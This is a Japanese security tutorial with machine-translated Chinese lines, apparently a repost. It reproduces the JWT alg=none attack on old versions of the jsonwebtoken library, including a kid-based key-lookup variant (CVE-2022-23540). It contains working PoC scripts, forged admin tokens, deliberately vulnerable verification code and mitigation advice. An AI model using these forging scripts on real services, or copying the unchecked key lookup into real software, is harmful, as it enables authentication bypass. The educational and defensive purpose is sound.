JWTの検証プログラムに対する有名な攻撃手法にalg=none攻撃があります。JWTのalgクレーム(署名アルゴリズム)としてnone(署名なし)を指定することにより、署名を回避して、JWTのクレームを改ざんする手法ですが、手法の解説は多いもの、脆弱なスクリプトのサンプルが少ないような気がしています。そこで、node.js用の著名なJWTライブラリであるjsonwebtokenを使った簡単なサンプルにより、alg=none攻撃の解説を試みます。
针对 JWT 验证程序的一种众所周知的攻击技术是 alg=none 攻击。 这是一种通过指定 none(无符号)作为 JWT 的 alg 声明(签名算法)来避免签名来伪造 JWT 声明的方法,但我觉得该方法有很多解释,易受攻击的脚本样本很少。 因此,我们将尝试使用jsonwebtoken(一个著名的node.js JWT库)的简单示例来解释alg=none攻击。
なお、jsonwebtokenの最新版では今回紹介した攻撃方法は対策されているため、以下のサンプルでは古いjsonwebtokenを使っています。
此外,最新版本的JSONWEBTOKEN对这次引入的攻击方式有对策,所以下面的示例使用了旧的JSONWEBToch。
alg=none攻撃とは 什么是 alg=none 攻击?
よく知られているように、JWTは以下のように3つのパートからなり、それぞれのパートはBase64URLエンコードされています。ヘッダとペイロードはエンコード前はJSON形式です。
众所周知,JWT 由三部分组成,每部分都是 Base64 URL 编码的: 标头和有效负载在编码之前采用 JSON 格式。
eyJHHHHHHHHHHHHH.eyJPPPPPPPPPPPPPPPP.SSSSSSSSSSSS
ヘッダ ペイロード 署名
ヘッダの例を示します。以下は署名アルゴリズムとしてHS256を指定しています。
下面是一个示例标头: 下面指定HS256作为签名算法。
{
"alg": "HS256",
"typ": "JWT"
}
この場合、Base64URLエンコード済みのヘッダとペイロードを連結したものの署名をHS256形式で求めたものを署名としてJWTの末尾に付与します。HS256署名には秘密鍵が必要なので、秘密鍵を知らない人がヘッダやペイロードを改ざんしても、署名検証時にエラーになるので、署名されたJWT(JWS; JSON Web Signature)は改ざんに対して耐性があります。
在这种情况下,以 HS256 格式连接的 Base64URL 编码标头和有效负载的签名将作为签名添加到 JWT 的末尾。 由于HS256签名需要私钥,即使不知道私钥的人篡改了标头或有效负载,在签名验证过程中也会出现错误,因此签名的JWT(JWS; JSON Web Signature(JSON Web Signature)是防篡改的。
ただし、署名アルゴリズム自体はJWTのヘッダ部にあるので、alg=none(署名なし)とすることで、署名のないJWTを受付させるというのがalg=none攻撃の原理です。
但是,由于签名算法本身位于 JWT 的标头中,因此 alg=none 攻击的原则是通过设置 alg=none (无符号) 来接受无符号的 JWT。
脆弱なスクリプトを作ってみる 尝试创建易受攻击的脚本
理屈だけだとわかりにくいので、脆弱なスクリプトを作ってみます。まずは正常系の署名プログラムです。古いjsonwebtokenとしてv0.4.0を使います。
很难理解它是否只是逻辑,所以让我们创建一个弱脚本。 第一个是正常的签名程序。 我使用 v0.4.0 作为旧的 jsonwebtoken。
まずは、プロジェクトの作成とライブラリのインストールです。
第一步是创建项目并安装库。
$ mkdir badjwt; cd badjwt
$ npm -y init
$ npm install jsonwebtoken@0.4.0
以下は、name:"alice"のみをペイロードとして持つJWTを作るプログラムです。署名はHS256としており、秘密鍵(privateKey)はハードコーディングしています。
下面是一个程序,它创建一个仅具有名称:“alice”作为有效负载的 JWT。 签名为 HS256,私钥为硬编码。
const jwt = require('jsonwebtoken')
const privateKey = require('./privateKey')
const payload = {
name: "alice",
}
const token = jwt.sign(payload, privateKey, {algorithm: 'HS256'})
console.log('作成されたトークン:', token)
module.exports = "hfxDTgIhRGWKKRJII329k7MgswIwo6vi"
実行結果の例を以下に示します。JWTの発行時刻(iat)を含むため、結果は毎回変わります。
执行结果的示例如下所示。 它包括 JWT 的发布时间 (iat),因此每次结果都会发生变化。
$ node sign.js
作成されたトークン: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTd9.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA
トークンの表示にはjwt.ioが便利です。第三者のサイトなので本番のJWTの貼り付けには気をつけてください(We do not record tokensとされてはいますが…)。
jwt.io 对于显示令牌很有用。 由于它是第三方站点,因此请小心粘贴实际的JWT(尽管据说我们不记录令牌...
以下はJWTの検証プログラムです。 以下是 JWT 验证程序。
const jwt = require('jsonwebtoken')
const privateKey = require('./privateKey')
const packageLockJson = require('./package-lock.json')
console.log(packageLockJson.packages['node_modules/jsonwebtoken'].version)
const token = process.argv[2]
jwt.verify(token, privateKey, function(err, decoded) {
if (err) {
console.log(err)
} else {
console.log('こんちには' + decoded.name + 'さん、あなたは' + (decoded.admin ? '管理者' : '一般ユーザー') + 'です')
}
})
実行結果は下記のとおりです。「あなたは一般ユーザーです」と表示されていますが、JWTを改変して、admin: trueを追加できれば、「あなたは管理者です」と表示されます。これが攻撃のゴールです。
执行结果如下。 它说“您是普通用户”,但如果您可以修改 JWT 并添加 admin:true,它会说“您是管理员”。 这是攻击的目标。
$ node verify.js eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTd9.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA
0.4.0
こんちにはaliceさん、あなたは一般ユーザーです
まずは、単純にadmin: trueをペイロードに追加してみましょう。これはjwt_toolというツールで簡単にできます。
首先,让我们简单地将 admin: true 添加到有效负载中。 使用名为jwt_tool的工具很容易做到这一点。
$ jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTd9.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA -I -pc admin -pv true
…
jwttool_fb11c87ccb2cd9fc062e7110632e4a7a - Injected token with unchanged signature
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTcsImFkbWluIjp0cnVlfQ.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA
実行結果は以下の通り。ペイロードにadmin: trueが追加されているが、署名はそのままです。
执行结果如下。 管理员:True 已添加到有效负载中,但签名保持不变。
これをverify.jsで処理すると、署名のエラーになります。
使用验证.js处理此问题将导致签名错误。
$ node verify.js eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTcsImFkbWluIjp0cnVlfQ.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA
0.4.0
Error: invalid signature
at module.exports.verify (/home/ockeghem/dev/node/badjwt/node_modules/jsonwebtoken/index.js:46:21)
at Object.<anonymous> (/home/ockeghem/dev/node/badjwt/verify.js:7:5)
...
今度は、alg=noneを指定して、jsonwebtokenでJWTを作ります。以下はスクリプト。
现在创建一个JWT,使用指定alg=none的jsonwebtoken。 下面是脚本。
const jwt = require('jsonwebtoken')
const payload = {
name: "alice",
admin: true
}
const token = jwt.sign(payload, null, {algorithm: 'none'})
console.log('作成されたトークン:', token)
$ node alg-none.js
作成されたトークン: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTM1NjE3fQ.
以下は、alg=noneのJWTをjwt.ioで表示したもの。alg:"none"とadmin:trueに注目してください。
以下是 alg=none 的 JWT jwt.io 显示。 注意 alg:“none” 和 admin:true。
以下は、alg=noneのトークンをverify.jsにて処理した結果です。署名エラーにならず、「あなたは管理者です」と表示されています。攻撃の成功です。
以下是在验证.js中使用 alg=none 处理令牌的结果。 它不会导致签名错误,并显示“您是管理员”。 一次成功的攻击。
$ node verify.js eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTM1NjE3fQ.
0.4.0
こんちにはaliceさん、あなたは管理者です
jsonwebtokenをv0.4.1 にバージョンアップすると…
当 jsonwebtoken 升级到 v0.4.1 时...
素朴なalg=none攻撃に成功しましたが、jsonwebtokenをv0.4.1(2014年7月15日)にバージョンアップすると、攻撃は失敗します。
一次朴素的 alg=none 攻击成功,但当 jsonwebtoken 升级到 v0.4.1(2014 年 7 月 15 日)时,攻击失败。
安装 JSONWEBTOKEN v0.4.1
$ npm install jsonwebtoken@0.4.1
この状態でverify.jsを実行 在此状态下运行验证.js
$ node verify.js eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTM1NjE3fQ.
0.4.1
Error: jwt signature is required
at module.exports.verify (/home/ockeghem/dev/node/badjwt/node_modules/jsonwebtoken/index.js:42:21)
at Object.<anonymous> (/home/ockeghem/dev/node/badjwt/verify.js:7:5)
...
デバッガで追いかけると、jsonwebtokenの下記のif文でエラーになっていることがわかります。verify.js側で署名鍵を指定されているのに、JWT側に署名がないことをエラーにしています。
如果你使用调试器遵循它,你可以看到以下jsonwebtoken的if语句是错误的。 错误是在验证.js端指定了签名密钥,但 JWT 端没有签名。
41 if (parts[2].trim() === '' && secretOrPublicKey) // signatureが空だとここでエラーになる
42 return callback(new Error('jwt signature is required'));
ならば、ダミーの署名(ここでは"a")をつけてやれば…となりますが、今度は「alg=noneなのに署名がある」というエラーになります。
然后,如果您放置一个虚拟签名(此处为“A”)... 但是,这次将出现错误“alg = 无,但有签名”。
72 function createNoneVerifier() {
73 return function verify(thing, signature) {
74 return signature === ''; // signatureが空でないとここでエラーになる
75 }
76 }
署名鍵が空になるシナリオを考える 考虑签名密钥为空的情况
jsonwebtokenのv0.4.0を使えば素朴なalg=none攻撃が成立することがわかりましたが、2014年7月に対策済みとなると、いささか古すぎるという気がします。そこで、もう少し新しいjsonwebtokenでも成立する攻撃を考えてみましょう。
我发现使用 jsonwebtoken 的 v0.4.0 可以建立一个简单的 alg=none 攻击,但如果它在 2014 年 7 月被反击,我觉得它有点太老了。 因此,让我们考虑一种可以使用稍新的jsonwebtoken建立的攻击。
先に見たように、jsonwebtoken側のチェックは以下のものでした。
正如我们之前看到的,jsonwebtoken 端的检查如下:
- jsonwebtokenのverifyメソッドで署名鍵を指定しているのにJWTの署名が空だとエラー
如果 JWT 签名为空,即使签名密钥在 jsonwebtoken 的验证方法中指定,则出错 - alg=noneを指定しているのにJWTの署名があればエラー
如果指定了 alg=none 但指定了 JWT 签名,则出错
そこで、verifyメソッドで署名鍵として空(null、undefined、false、空文字列等)を指定してしまう状況を作れば、alg=none攻撃が成立するのではないかという着想が得られます。
因此,如果在验证方法中创建将空(null、未定义、false、空字符串等)指定为签名密钥的情况,则可以认为将建立 alg=none 攻击。
verifyメソッドで指定する署名鍵が空になる状況は簡単に言えばスクリプトのバグですが、まったくありえない状況とは言えません。たとえば、署名鍵のローテーションをしている場合に、このような状況がありえます。
验证方法中指定的空签名密钥只是脚本中的一个错误,但这并不是完全不可能出现的情况。 例如,如果轮换签名密钥,则可能会发生这种情况。
先のスクリプトでは、JWT署名鍵はソースコード上にハードコーディングされていましたが、現実のアプリケーションでは、JWTの署名鍵はハードコーディングせず、かつ、一定期間毎にローテーションする場合があります。そのようなニーズのために、JWTのヘッダには、kid(Key ID)というクレームがあります。これは複数の署名鍵がある場合に、JWTで使われている署名のキーを指定するためのものです。
在前面的脚本中,JWT 签名密钥在源代码中进行了硬编码,但在实际应用程序中,JWT 签名密钥不是硬编码的,可能会定期轮换。 对于此类需求,JWT 的标头具有一个名为 kid(密钥 ID)的声明。 这是为了指定 JWT 在存在多个签名密钥时使用的签名密钥。
kidを使った署名スクリプト例を以下に示します。簡単にするため、署名鍵とkid(153)はハードコーディングしています。
下面显示了使用 kid 的签名脚本示例。 为简单起见,签名密钥和 kid(153) 是硬编码的。
const jwt = require('jsonwebtoken')
const privateKeys = require('./privateKeys')
const kid = 153
const privateKey = privateKeys[kid]
const payload = {
name: "alice",
}
const token = jwt.sign(payload, privateKey, {algorithm: 'HS256', header: { kid: kid}})
console.log('作成されたトークン:', token)
module.exports = {
153: "GSPOtmXmYctdGBo5bCdGIRceHMKumuFG",
178: "fwERnklA70ERNa8nJCxebKl0FASEkZFi"
}
作成されたJWT例を示します。ヘッダ部にkid:153が指定されていることがわかります。
下面是创建的 JWT 的示例: 您可以看到在标题中指定了kid:153。
kidに対応したJWT検証スクリプトを以下に示します。これが新しい攻撃対象になります。
与孩子对应的 JWT 验证脚本如下所示。 这是新的攻击面。
const jwt = require('jsonwebtoken')
const privateKeys = require('./privateKeys')
const packageLockJson = require('./package-lock.json')
console.log(packageLockJson.packages['node_modules/jsonwebtoken'].version)
const token = process.argv[2]
const decodedToken = jwt.decode(token, { complete: true })
const kid = decodedToken.header.kid
if (!kid) {
console.log('トークンにkidがありません')
return
}
const privateKey = privateKeys[kid] // privateKeyが空でないチェックが抜けている
jwt.verify(token, privateKey, function(err, decoded) {
if (err) {
console.log(err)
} else {
console.log('こんちには' + decoded.name + 'さん、あなたは' + (decoded.admin ? '管理者' : '一般ユーザー') + 'です')
}
})
上記のように、JWT内にkidクレームが含まれていることはチェックしていますが、それをキーとして署名鍵を求める際に、署名鍵が空でないことのチェックが抜けています。
如上所述,它会检查 kid 声明是否包含在 JWT 中,但在请求使用它作为密钥的签名密钥时,会省略签名密钥是否为空的检查。
このため、kidとして「存在しないキー」を指定することで、署名鍵が空(undefined)になる状況を作ることができます。
因此,通过将“不存在的密钥”指定为 kid,可以创建签名密钥为空(未定义)的情况。
このようなJWTを生成するスクリプトを以下に示します。
生成此类 JWT 的脚本如下所示。
const jwt = require('jsonwebtoken')
const payload = {
name: "alice",
admin: true
}
const token = jwt.sign(payload, null, {algorithm: 'none', header: { kid: 111}})
console.log('作成されたトークン:', token)
このスクリプトでは、kid:111とすることにより、対応する署名鍵がない状況を作っています。実行例は下記となります。
在此脚本中,kid:111 创建没有相应签名密钥的情况。 执行示例如下。
$ node alg-none2.js
作成されたトークン: eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoxMTF9.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTUxODk5fQ.
この際のJWTは下図のとおりです。 此时的JWT如下图所示。
これをverify2.jsで検証してみましょう。
让我们使用 verify2.js 来验证这一点。
$ node verify2.js eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoxMTF9.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTUxODk5fQ.
8.5.1
こんちにはaliceさん、あなたは管理者です
ご覧のように「あなたは管理者です」と表示されました。攻撃の成功です。jsonwebtokenのバージョンは8.5.1と表記されていますね。これはバージョン9.0.0の直前のバージョンです。
如您所见,它说“您是管理员”。 一次成功的攻击。 jsonwebtoken 的版本写为 8.5.1。 这是版本 9.0.0 之前的版本。
jsonwebtokenの最新版では攻撃は防御される
最新版本的 jsonwebtoken 防御攻击
この攻撃は、jsonwebtokenの9.0.0(2022年12月21日)にて対策されました。対策版では、alg=noneを使う場合は、verifyメソッドに{ algorithms: ["none"] } を明示する必要があります(参考)。対策前の状況はCVE-2022-23540と識別されています。
此攻击在 jsonwebtoken 9.0.0(2022 年 12 月 21 日)中得到了反击。 在对策版本中,如果使用 alg=none,则需要在验证方法中指定 { 算法: [“none”]} (请参阅)。 缓解前的情况已确定为 CVE-2022-23540。
本稿執筆時点でのjsonwebtokenの最新版(9.0.2)で先のPoCを実行すると、以下のエラーになります。「please specify "none" in "algorithms" to verify unsigned tokens」というエラーなので、上記の説明と整合しています。
如果您在撰写本文时使用最新版本 (9.0.2) 的 jsonwebtoken 运行以前的 PoC,您将收到以下错误。 错误“请在”算法“中指定”none“以验证未签名的令牌”与上述描述一致。
$ npm install jsonwebtoken@9
$ node verify2.js eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoxMTF9.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTUxODk5fQ.
9.0.2
JsonWebTokenError: please specify "none" in "algorithms" to verify unsigned tokens
at /home/ockeghem/dev/node/badjwt/node_modules/jsonwebtoken/verify.js:117:19
at getSecret (/home/ockeghem/dev/node/badjwt/node_modules/jsonwebtoken/verify.js:97:14)
...
実は、この問題は私も気づいていた(参考)のですが、これは脆弱性ではなく仕様であり、アプリケーション側で対策する責務だろうと思い、特に届け出などしないで放置しておりました。届け出していれば、CVEを一つゲットできていたかもしれません。ただ、この方法はCTFで見かけたことがあるので、一部では知られていたということだと思います。
实际上,我知道这个问题(参考),但我认为这是一个规范,而不是漏洞,并且采取对策是应用程序的责任,所以我没有通知它就离开了它。 如果我报告了它,我可能会得到一个 CVE。 但是,我在CTF中见过这种方法,所以我认为有些人知道它。
まとめ 总结
JWTの著名ライブラリjsonwebtokenを使って、alg=none脆弱性を再現する方法について説明しました。2番目のシナリオがjsonwebtoken側で対策されたのは昨年末なので、脆弱なライブラリを使っているサイト等は結構あるように思います。
我们讨论了如何使用JWT的知名库jsonwebtoken来重现alg=none漏洞。 去年年底,jsonwebtoken 反驳了第二种情况,所以我认为有相当多的网站使用易受攻击的库。
対策としては、以下のいずれかで上記シナリオの攻撃を防御できますが、全て対応することを推奨します。
作为对策,您可以使用以下方法之一来防御上述情况下的攻击,但我们建议您对所有攻击做出响应。
- jsonwebtokenを最新版に更新する 将 jsonwebtoken 更新到最新版本
- verifyメソッドのオプションでalgorithmsを明示する
在验证方法选项中指定算法 - kidから署名鍵を得る場合は結果のバリデーションを行う
从孩子那里获取签名密钥时,请验证结果。
原文始发于@ockeghem(浩 徳丸):node-jsonwebtokenで学ぶJWTのalg=none攻撃